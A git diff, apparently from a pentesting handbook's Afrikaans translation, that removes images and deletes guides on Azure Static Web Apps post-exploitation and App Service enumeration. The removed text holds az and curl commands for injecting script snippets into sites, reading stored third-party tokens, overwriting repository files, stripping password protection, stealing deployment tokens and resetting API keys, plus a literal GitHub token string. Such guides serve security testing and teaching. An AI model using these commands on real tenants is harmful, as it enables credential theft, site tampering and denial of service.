Binary files a/src/images/image (66).png and /dev/null differ diff --git a/src/images/image (67).png b/src/images/image (67).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (67).png and /dev/null differ diff --git a/src/images/image (68).png b/src/images/image (68).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (68).png and /dev/null differ diff --git a/src/images/image (69).png b/src/images/image (69).png deleted file mode 100644 index 70a011106..000000000 Binary files a/src/images/image (69).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (1).png b/src/images/image (7) (1) (1) (1).png deleted file mode 100644 index 8dece9113..000000000 Binary files a/src/images/image (7) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (2).png b/src/images/image (7) (1) (1) (2).png deleted file mode 100644 index 34fda8b40..000000000 Binary files a/src/images/image (7) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1) (1).png b/src/images/image (7) (1) (1).png deleted file mode 100644 index aaec7c056..000000000 Binary files a/src/images/image (7) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2) (1).png b/src/images/image (7) (1) (2) (1).png deleted file mode 100644 index 987ff45c2..000000000 Binary files a/src/images/image (7) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2).png b/src/images/image (7) (1) (2).png deleted file mode 100644 index c9a6e22db..000000000 Binary files a/src/images/image (7) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1).png b/src/images/image (7) (1).png deleted file mode 100644 index c08e410cf..000000000 Binary files a/src/images/image (7) (1).png and /dev/null differ diff --git a/src/images/image (7) (2).png b/src/images/image (7) (2).png deleted file mode 100644 index 9e0e60398..000000000 Binary files a/src/images/image (7) (2).png and /dev/null differ diff --git a/src/images/image (70).png b/src/images/image (70).png deleted file mode 100644 index e926bb057..000000000 Binary files a/src/images/image (70).png and /dev/null differ diff --git a/src/images/image (71).png b/src/images/image (71).png deleted file mode 100644 index 3c8637485..000000000 Binary files a/src/images/image (71).png and /dev/null differ diff --git a/src/images/image (72).png b/src/images/image (72).png deleted file mode 100644 index 9c56df1fd..000000000 Binary files a/src/images/image (72).png and /dev/null differ diff --git a/src/images/image (73).png b/src/images/image (73).png deleted file mode 100644 index 86d66972e..000000000 Binary files a/src/images/image (73).png and /dev/null differ diff --git a/src/images/image (74).png b/src/images/image (74).png deleted file mode 100644 index ec568a4fa..000000000 Binary files a/src/images/image (74).png and /dev/null differ diff --git a/src/images/image (75).png b/src/images/image (75).png deleted file mode 100644 index 61b0f9004..000000000 Binary files a/src/images/image (75).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1) (1).png deleted file mode 100644 index f1071d8a6..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1).png deleted file mode 100644 index c57fa4d22..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1).png b/src/images/image (8) (1) (1) (1).png deleted file mode 100644 index 04471fecb..000000000 Binary files a/src/images/image (8) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1).png b/src/images/image (8) (1) (1).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (8) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1).png b/src/images/image (8) (1).png deleted file mode 100644 index 7f9833bf8..000000000 Binary files a/src/images/image (8) (1).png and /dev/null differ diff --git a/src/images/image (8) (2).png b/src/images/image (8) (2).png deleted file mode 100644 index ccbac226e..000000000 Binary files a/src/images/image (8) (2).png and /dev/null differ diff --git a/src/images/image (8) (3).png b/src/images/image (8) (3).png deleted file mode 100644 index 1279948e3..000000000 Binary files a/src/images/image (8) (3).png and /dev/null differ diff --git a/src/images/image (80).png b/src/images/image (80).png deleted file mode 100644 index 6afb7de00..000000000 Binary files a/src/images/image (80).png and /dev/null differ diff --git a/src/images/image (83) (1).png b/src/images/image (83) (1).png deleted file mode 100644 index cf7f43578..000000000 Binary files a/src/images/image (83) (1).png and /dev/null differ diff --git a/src/images/image (84).png b/src/images/image (84).png deleted file mode 100644 index 8e8c8e143..000000000 Binary files a/src/images/image (84).png and /dev/null differ diff --git a/src/images/image (85) (1).png b/src/images/image (85) (1).png deleted file mode 100644 index 4a7a7bbec..000000000 Binary files a/src/images/image (85) (1).png and /dev/null differ diff --git a/src/images/image (85).png b/src/images/image (85).png deleted file mode 100644 index 4b102f3b3..000000000 Binary files a/src/images/image (85).png and /dev/null differ diff --git a/src/images/image (87) (1).png b/src/images/image (87) (1).png deleted file mode 100644 index 8ee408d4f..000000000 Binary files a/src/images/image (87) (1).png and /dev/null differ diff --git a/src/images/image (87).png b/src/images/image (87).png deleted file mode 100644 index 72803d6a2..000000000 Binary files a/src/images/image (87).png and /dev/null differ diff --git a/src/images/image (89) (1).png b/src/images/image (89) (1).png deleted file mode 100644 index 05d5e97a9..000000000 Binary files a/src/images/image (89) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1) (1).png b/src/images/image (9) (1) (1) (1) (1).png deleted file mode 100644 index c933d4692..000000000 Binary files a/src/images/image (9) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1).png b/src/images/image (9) (1) (1) (1).png deleted file mode 100644 index b9ba83cc0..000000000 Binary files a/src/images/image (9) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1).png b/src/images/image (9) (1) (1).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (9) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1).png b/src/images/image (9) (1).png deleted file mode 100644 index 7593f6f36..000000000 Binary files a/src/images/image (9) (1).png and /dev/null differ diff --git a/src/images/image (9) (2).png b/src/images/image (9) (2).png deleted file mode 100644 index 03ad3a91f..000000000 Binary files a/src/images/image (9) (2).png and /dev/null differ diff --git a/src/images/image (9).png b/src/images/image (9).png deleted file mode 100644 index 01b5eed6d..000000000 Binary files a/src/images/image (9).png and /dev/null differ diff --git a/src/images/image (90).png b/src/images/image (90).png deleted file mode 100644 index 327adc67b..000000000 Binary files a/src/images/image (90).png and /dev/null differ diff --git a/src/images/image (91).png b/src/images/image (91).png deleted file mode 100644 index 331ec323a..000000000 Binary files a/src/images/image (91).png and /dev/null differ diff --git a/src/images/image (92) (1) (1).png b/src/images/image (92) (1) (1).png deleted file mode 100644 index fb0364e97..000000000 Binary files a/src/images/image (92) (1) (1).png and /dev/null differ diff --git a/src/images/image (92) (1).png b/src/images/image (92) (1).png deleted file mode 100644 index 26d1fff4b..000000000 Binary files a/src/images/image (92) (1).png and /dev/null differ diff --git a/src/images/image (94).png b/src/images/image (94).png deleted file mode 100644 index 5e3da1153..000000000 Binary files a/src/images/image (94).png and /dev/null differ diff --git a/src/images/image (97).png b/src/images/image (97).png deleted file mode 100644 index 242eb34e3..000000000 Binary files a/src/images/image (97).png and /dev/null differ diff --git a/src/images/image (99).png b/src/images/image (99).png deleted file mode 100644 index b4b0305b7..000000000 Binary files a/src/images/image (99).png and /dev/null differ diff --git a/src/images/sponsor_8ksec.png b/src/images/sponsor_8ksec.png deleted file mode 100644 index 1d751216b..000000000 Binary files a/src/images/sponsor_8ksec.png and /dev/null differ diff --git a/src/images/sponsor_hackenproof.jpeg b/src/images/sponsor_hackenproof.jpeg deleted file mode 100644 index a4c6bc6f4..000000000 Binary files a/src/images/sponsor_hackenproof.jpeg and /dev/null differ diff --git a/src/images/sponsor_intigriti.png b/src/images/sponsor_intigriti.png deleted file mode 100644 index b7944f7d8..000000000 Binary files a/src/images/sponsor_intigriti.png and /dev/null differ diff --git a/src/images/sponsor_pentesttools.webp b/src/images/sponsor_pentesttools.webp deleted file mode 100644 index 1b5a0d663..000000000 Binary files a/src/images/sponsor_pentesttools.webp and /dev/null differ diff --git a/src/images/sponsor_rootedcon.png b/src/images/sponsor_rootedcon.png deleted file mode 100644 index cf4e8a20a..000000000 Binary files a/src/images/sponsor_rootedcon.png and /dev/null differ diff --git a/src/images/sponsor_stm.png b/src/images/sponsor_stm.png deleted file mode 100644 index e45c021c8..000000000 Binary files a/src/images/sponsor_stm.png and /dev/null differ diff --git a/src/images/sponsor_trickest.jpeg b/src/images/sponsor_trickest.jpeg deleted file mode 100644 index 92331426b..000000000 Binary files a/src/images/sponsor_trickest.jpeg and /dev/null differ diff --git a/src/images/telegram-cloud-document-4-5875069018120918586.jpg b/src/images/telegram-cloud-document-4-5875069018120918586.jpg deleted file mode 100644 index b7f7fc4c7..000000000 Binary files a/src/images/telegram-cloud-document-4-5875069018120918586.jpg and /dev/null differ diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index e7ebd5fa2..4358e01fb 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -91,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ### Az PowerShell -Azure PowerShell is 'n module met cmdlets om Azure hulpbronne direk vanaf die PowerShell-opdraglyn te bestuur. +Azure PowerShell is 'n module met cmdlets vir die bestuur van Azure hulpbronne direk vanaf die PowerShell-opdraglyn. Volg hierdie skakel vir die [**installasie instruksies**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). @@ -99,11 +99,11 @@ Opdragte in Azure PowerShell AZ Module is gestruktureer soos: `-Az [!TIP] > Dit is vervang deur Microsoft Graph PowerShell -Volg hierdie skakel vir die [**installasie-instruksies**](https://www.powershellgallery.com/packages/AzureAD). +Volg hierdie skakel vir die [**installasie instruksies**](https://www.powershellgallery.com/packages/AzureAD). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md deleted file mode 100644 index 614961a37..000000000 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md +++ /dev/null @@ -1,162 +0,0 @@ -# Az - Statiese Web Apps Post Exploitatie - -{{#include ../../../banners/hacktricks-training.md}} - -## Azure Statiese Web Apps - -Vir meer inligting oor hierdie diens, kyk: - -{{#ref}} -../az-services/az-static-web-apps.md -{{#endref}} - -### Microsoft.Web/staticSites/snippets/write - -Dit is moontlik om 'n statiese webblad te laat laai arbitraire HTML-kode deur 'n snit te skep. Dit kan 'n aanvaller toelaat om JS-kode binne die webtoepassing in te voeg en sensitiewe inligting soos geloofsbriewe of mnemonic sleutels (in web3 beursies) te steel. - -Die volgende opdrag skep 'n snit wat altyd deur die webtoepassing gelaai sal word:: -```bash -az rest \ ---method PUT \ ---uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ ---headers "Content-Type=application/json" \ ---body '{ -"properties": { -"name": "supersnippet", -"location": "Body", -"applicableEnvironmentsMode": "AllEnvironments", -"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", -"environments": [], -"insertBottom": false -} -}' -``` -### Lees Geconfigureerde Derdeparty Kredensiale - -Soos verduidelik in die App Service afdeling: - -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan bekom nie. -```bash -az rest --method GET \ ---url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" -``` -Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive. - -Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer: -```bash -# GitHub – List Repositories -curl -H "Authorization: token " \ --H "Accept: application/vnd.github.v3+json" \ -https://api.github.com/user/repos - -# Bitbucket – List Repositories -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://api.bitbucket.org/2.0/repositories - -# Dropbox – List Files in Root Folder -curl -X POST https://api.dropboxapi.com/2/files/list_folder \ --H "Authorization: Bearer " \ --H "Content-Type: application/json" \ ---data '{"path": ""}' - -# OneDrive – List Files in Root Folder -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://graph.microsoft.com/v1.0/me/drive/root/children -``` -### Oorskrywe lêer - Oorskrywe roetes, HTML, JS... - -Dit is moontlik om **'n lêer binne die Github repo** wat die app bevat, deur Azure te oorskrywe deur die **Github token** 'n versoek te stuur soos die volgende wat die pad van die lêer om te oorskrywe, die inhoud van die lêer en die verbintenisboodskap sal aandui. - -Dit kan deur aanvallers misbruik word om basies **die inhoud van die web app te verander** om kwaadwillige inhoud te dien (steel geloofsbriewe, mnemonic sleutels...) of net om **sekere pades** na hul eie bedieners te herlei deur die `staticwebapp.config.json` lêer te oorskrywe. - -> [!WARNING] -> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige manier te kompromitteer, hulle ook die lêer direk vanaf Github kan oorskrywe. -```bash -curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ --H "Content-Type: application/json" \ --d '{ -"commit": { -"message": "Update static web app route configuration", -"branchName": "main", -"committer": { -"name": "Azure App Service", -"email": "donotreply@microsoft.com" -}, -"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", -"filePath": "staticwebapp.config.json", -"message": "Update static web app route configuration", -"repoName": "carlospolop/my-first-static-web-app", -"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" -}, -"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" -}' -``` -### Microsoft.Web/staticSites/config/write - -Met hierdie toestemming is dit moontlik om die **wagwoord** wat 'n statiese webtoepassing beskerm, te **wysig** of selfs elke omgewing te ontprotect deur 'n versoek soos die volgende te stuur: -```bash -# Change password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"password": "SuperPassword123.", -"secretUrl": "", -"applicableEnvironmentsMode": "AllEnvironments" -} -}' - -# Remove the need of a password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"secretUrl": "", -"applicableEnvironmentsMode": "SpecifiedEnvironments", -"secretState": "None" -} -}' -``` -### Microsoft.Web/staticSites/listSecrets/action - -Hierdie toestemming laat toe om die **API sleutel ontplooiingstoken** vir die statiese app te verkry. - -Hierdie token laat toe om die app te ontplooi. -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" -``` -Dan, om 'n app op te dateer, kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag verkry is deur te kyk **hoe Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk**, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. So die beeld en betalings kan in die toekoms verander. - -1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) af (of enige ander repo wat jy wil ontplooi) en voer `cd react-basic` uit. -2. Verander die kode wat jy wil ontplooi -3. Ontplooi dit deur (Onthou om die `` te verander): -```bash -docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose -``` -### Microsoft.Web/staticSites/write - -Met hierdie toestemming is dit moontlik om die **bron van die statiese webtoepassing na 'n ander Github-repo te verander**, egter, dit sal nie outomaties voorsien word nie, aangesien dit gewoonlik vanaf 'n Github-aksie gedoen moet word met die token wat die aksie gemagtig het, aangesien hierdie token nie outomaties binne die Github-geheime van die repo opgedateer word nie (dit word net outomaties bygevoeg wanneer die toepassing geskep word). -```bash -az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main -``` -### Microsoft.Web/staticSites/resetapikey/action - -Met hierdie toestemming is dit moontlik om die **API-sleutel van die statiese webtoepassing te reset**, wat moontlik die werkvloei wat die toepassing outomaties ontplooi, kan DoS. -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md deleted file mode 100644 index c39a71c18..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ /dev/null @@ -1,271 +0,0 @@ -# Az - App Services - -{{#include ../../../banners/hacktricks-training.md}} - -## App Service Basiese Inligting - -Azure App Services stel ontwikkelaars in staat om **webtoepassings, mobiele toepassings agtergronde, en API's naatloos te bou, te ontplooi en te skaal**. Dit ondersteun verskeie programmeertale en integreer met verskeie Azure gereedskap en dienste vir verbeterde funksionaliteit en bestuur. - -Elke app loop binne 'n sandbox, maar isolasie hang af van App Service planne. - -- Apps in Gratis en Gedeelde vlakke loop op gedeelde VM's. -- Apps in Standaard en Premium vlakke loop op toegewyde VM's. - -> [!WARNING] -> Let daarop dat **geen** van daardie isolasies **voorkom** dat ander algemene **web kwesbaarhede** (soos lêeroplaai of inspuitings) voorkom nie. En as 'n **bestuursidentiteit** gebruik word, kan dit in staat wees om **regte na hulle op te skaal**. - -Apps het 'n paar interessante konfigurasies: - -- **Altijd Aan**: Verseker dat die app altyd loop. As dit nie geaktiveer is nie, sal die app stop loop na 20 minute van inaktiwiteit en sal dit weer begin wanneer 'n versoek ontvang word. -- Dit is noodsaaklik as jy 'n webjob het wat deurlopend moet loop, aangesien die webjob sal stop as die app stop. -- **SSH**: As geaktiveer, kan 'n gebruiker met genoeg regte aan die app koppel met SSH. -- **Foutopsporing**: As geaktiveer, kan 'n gebruiker met genoeg regte die app foutopspoor. Dit is egter elke 48 uur outomaties gedeaktiveer. -- **Web App + Databasis**: Die webkonsol laat jou toe om 'n App met 'n databasis te skep. In hierdie geval is dit moontlik om die databasis te kies om te gebruik (SQLAzure, PostgreSQL, MySQL, MongoDB) en dit laat jou ook toe om 'n Azure Cache vir Redis te skep. -- Die URL wat die geloofsbriewe vir die databasis en Redis bevat, sal in die **appsettings** gestoor word. -- **Container**: Dit is moontlik om 'n houer na die App Service te ontplooi deur die URL van die houer en die geloofsbriewe om toegang te verkry aan te dui. - -## Basiese Verifikasie - -Wanneer 'n webapp (en 'n Azure funksie gewoonlik) geskep word, is dit moontlik om aan te dui of jy wil hê Basiese Verifikasie moet geaktiveer wees. Dit stel basies **SCM en FTP** vir die toepassing in, sodat dit moontlik sal wees om die toepassing met behulp van daardie tegnologieë te ontplooi.\ -Boonop bied Azure 'n **API wat toelaat om die gebruikersnaam, wagwoord en URL** te verkry om aan die SCM en FTP bedieners te koppel. - -Dit is moontlik om aan die SCM te koppel met 'n webblaaier in `https:///BasicAuth` en al die lêers en ontplooiings daar te kontroleer. - -### Kudu - -Kudu is 'n **ontplooiing en bestuursplatform vir Azure App Service en Funksie Apps**, wat Git-gebaseerde ontplooiings, afstands-foutopsporing, en lêerbestuur vermoëns vir webtoepassings bied. Dit is toeganklik deur die SCM URL van die webapp. - -Let daarop dat die Kudu weergawes wat deur App Services en deur Funksie Apps gebruik word, verskillend is, met die weergawe van die Funksie apps baie meer beperk. - -Sommige interessante eindpunte wat jy in Kudu kan vind, is: -- `/DebugConsole`: 'n konsol wat jou toelaat om opdragte in die omgewing waar Kudu loop, uit te voer. -- Let daarop dat hierdie omgewing **nie toegang het** tot die metadata diens om tokens te verkry nie. -- `/webssh/host`: 'n web-gebaseerde SSH kliënt wat jou toelaat om binne die houer waar die app loop, te koppel. -- Hierdie omgewing **het toegang tot die metadata diens** om tokens van die toegewyde bestuurde identiteite te verkry. -- `/Env`: Verkry inligting oor die stelsel, app instellings, omgewing veranderlikes, verbinding stringe en HTTP koppe. -- `/wwwroot/`: Die wortelgids van die webapp. Jy kan al die lêers hier aflaai. - -## Bronne - -App Services laat toe om die kode as 'n zip-lêer op te laai, maar dit laat ook toe om aan 'n derdeparty diens te koppel en die kode daar te verkry. - -- Die tans ondersteunde derdeparty bronne is **Github** en **Bitbucket**. -- Jy kan die verifikasietokens verkry deur `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` te loop. -- Azure sal standaard 'n **Github Aksie** opstel om die kode na die App Service te ontplooi elke keer as die kode opgedateer word. -- Dit is ook moontlik om 'n **afgeleë git-repo** (met gebruikersnaam en wagwoord) aan te dui om die kode daar te verkry. -- Jy kan die geloofsbriewe na die afgeleë repo verkry deur `az webapp deployment source show --name --resource-group ` of `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` te loop. -- Dit is ook moontlik om 'n **Azure Repository** te gebruik. -- Dit is ook moontlik om 'n **lokale git-repo** te konfigureer. -- Jy kan die URL van die git-repo verkry met `az webapp deployment source show --name --resource-group ` en dit gaan die SCM URL van die app wees. -- Om dit te kloon, sal jy die SCM geloofsbriewe nodig hê wat jy kan verkry met `az webapp deployment list-publishing-profiles --resource-group -n `. - -## Webjobs - -Azure WebJobs is **agtergrondtake wat in die Azure App Service omgewing loop**. Dit stel ontwikkelaars in staat om skripte of programme saam met hul webtoepassings uit te voer, wat dit makliker maak om asynchrone of tydsintensiewe operasies soos lêerverwerking, datahantering, of geskeduleerde take te hanteer. -Daar is 2 tipes webjobs: -- **Deurlopend**: Loop eindeloos in 'n lus en word geaktiveer sodra dit geskep word. Dit is ideaal vir take wat konstante verwerking vereis. As die app egter stop loop omdat Altijd Aan gedeaktiveer is en dit nie 'n versoek in die laaste 20 minute ontvang het nie, sal die webjob ook stop. -- **Geaktiveer**: Loop op aanvraag of gebaseer op 'n skedule. Dit is die beste geskik vir periodieke take, soos batch data-opdaterings of onderhoudsroetines. - -Webjobs is baie interessant vanuit 'n aanvallers perspektief, aangesien dit gebruik kan word om **kode** in die omgewing uit te voer en **regte op te skaal** na die aangehegte bestuurde identiteite. - -Boonop is dit altyd interessant om die **logs** wat deur die Webjobs gegenereer word, na te gaan, aangesien dit **sensitiewe inligting** kan bevat. - -### Slots - -Azure App Service Slots word gebruik om **verskillende weergawes van die toepassing** na dieselfde App Service te ontplooi. Dit stel ontwikkelaars in staat om nuwe funksies of veranderinge in 'n aparte omgewing te toets voordat hulle dit na die produksie omgewing ontplooi. - -Boonop is dit moontlik om 'n **persentasie van die verkeer** na 'n spesifieke slot te lei, wat nuttig is vir **A/B toetsing**, en vir agterdeurdoeleindes. - -### Azure Funksie Apps - -Basies **Azure Funksie apps is 'n subset van Azure App Service** in die web en as jy na die webkonsol gaan en al die app dienste lys of `az webapp list` in az cli uitvoer, sal jy in staat wees om **die Funksie apps ook hier gelys te sien**. - -Werklik, sommige van die **veiligheidsverwante funksies** wat App services gebruik (`webapp` in die az cli), word **ook deur Funksie apps gebruik**. - -### Enumerasie - -{{#tabs }} -{{#tab name="az" }} -```bash -# List webapps -az webapp list -## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table -## Get SCM URL of each webapp -az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' - -# Get info about 1 app -az webapp show --name --resource-group - -# Get instances of a webapp -az webapp list-instances --name --resource-group -## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web - -# Get access restrictions of an app -az webapp config access-restriction show --name --resource-group - -# Remove access restrictions -az webapp config access-restriction remove --resource-group -n --rule-name - -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group - -# Get appsettings of an app -az webapp config appsettings list --name --resource-group - -# Get SCM and FTP credentials -az webapp deployment list-publishing-profiles --name --resource-group - -# Get configured Auth information -az webapp auth show --name --resource-group - -# Get backups of a webapp -az webapp config backup list --webapp-name --resource-group - -# Get backups scheduled for a webapp -az webapp config backup show --webapp-name --resource-group - -# Get snapshots -az webapp config snapshot list --resource-group -n - -# Restore snapshot -az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 - -# Get slots -az webapp deployment slot list --name --resource-group --output table -az webapp show --slot --name --resource-group - -# Get traffic-routing -az webapp traffic-routing show --name --resource-group - -# Get used container by the app -az webapp config container show --name --resource-group - -# Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-group - -# Get configured container (if any) in the webapp, it could contain credentials -az webapp config container show --name --resource-group - -# Get Webjobs -az webapp webjob continuous list --resource-group --name -az webapp webjob triggered list --resource-group --name - -# Read webjobs logs with Azure permissions -az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" -az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" - -# Read webjobs logs with SCM credentials -curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ ---user ':' -v - -# Get connections of a webapp -az webapp conection list --name --resource-group - -# Get hybrid-connections of a webapp -az webapp hybrid-connections list --name --resource-group -``` -{{#endtab }} - -{{#tab name="Az Powershell" }} -```powershell -# Get App Services and Function Apps -Get-AzWebApp -# Get only App Services -Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} -``` -{{#endtab }} - -{{#tab name="az kry alles" }} -```bash -#!/bin/bash - -# Get all App Service and Function Apps - -# Define Azure subscription ID -azure_subscription="your_subscription_id" - -# Log in to Azure -az login - -# Select Azure subscription -az account set --subscription $azure_subscription - -# Get all App Services in the specified subscription -list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv) - -# Iterate over each App Service -echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do -# Get the type of the App Service -service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - -# Check if it is a Function App and print its name -if [ "$service_type" == "functionapp" ]; then -echo "Function App Name: $appServiceName" -fi -done -``` -{{#endtab }} -{{#endtabs }} - -#### Verkry geloofsbriewe & kry toegang tot die webapp kode -```bash -# Get connection strings that could contain credentials (with DBs for example) -az webapp config connection-string list --name --resource-group -## Check how to use the DBs connection strings in the SQL page - -# Get credentials to access the code and DB credentials if configured. -az webapp deployment list-publishing-profiles --resource-group -n - - -# Get git URL to access the code -az webapp deployment source config-local-git --resource-group -n - -# Access/Modify the code via git -git clone 'https://:@name.scm.azurewebsites.net/repo-name.git' -## In my case the username was: $nameofthewebapp and the password some random chars -## If you change the code and do a push, the app is automatically redeployed -``` -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -## Voorbeelde om Web Apps te genereer - -### Python van plaaslik - -Hierdie tutoriaal is gebaseer op die een van [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). -```bash -# Clone repository -git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart -cd msdocs-python-flask-webapp-quickstart - -# Create webapp from this code -az webapp up --runtime PYTHON:3.9 --sku B1 --logs -``` -Inloggen op die SCM-portaal of inloggen via FTP maak dit moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat. - -> [!TIP] -> Net om via FTP te verbind en die lêer `output.tar.gz` te wysig, is nie genoeg om die kode wat deur die webapp uitgevoer word, te verander nie. - -**'n Aanvaller kan hierdie lêer aflaai, dit wysig en dit weer oplaai om arbitrêre kode in die webapp uit te voer.** - -### Python van Github - -Hierdie tutoriaal is gebaseer op die vorige een, maar gebruik 'n Github-bewaarplek. - -1. Fork die repo msdocs-python-flask-webapp-quickstart in jou Github-rekening. -2. Skep 'n nuwe python Web App in Azure. -3. In `Deployment Center` verander die bron, log in met Github, kies die geforkte repo en klik `Save`. - -Soos in die vorige geval, maak dit moontlik om in `/wwwroot` die gecomprimeerde lêer `output.tar.gz` te sien wat die kode van die webapp bevat. - -> [!TIP] -> Net om via FTP te verbind en die 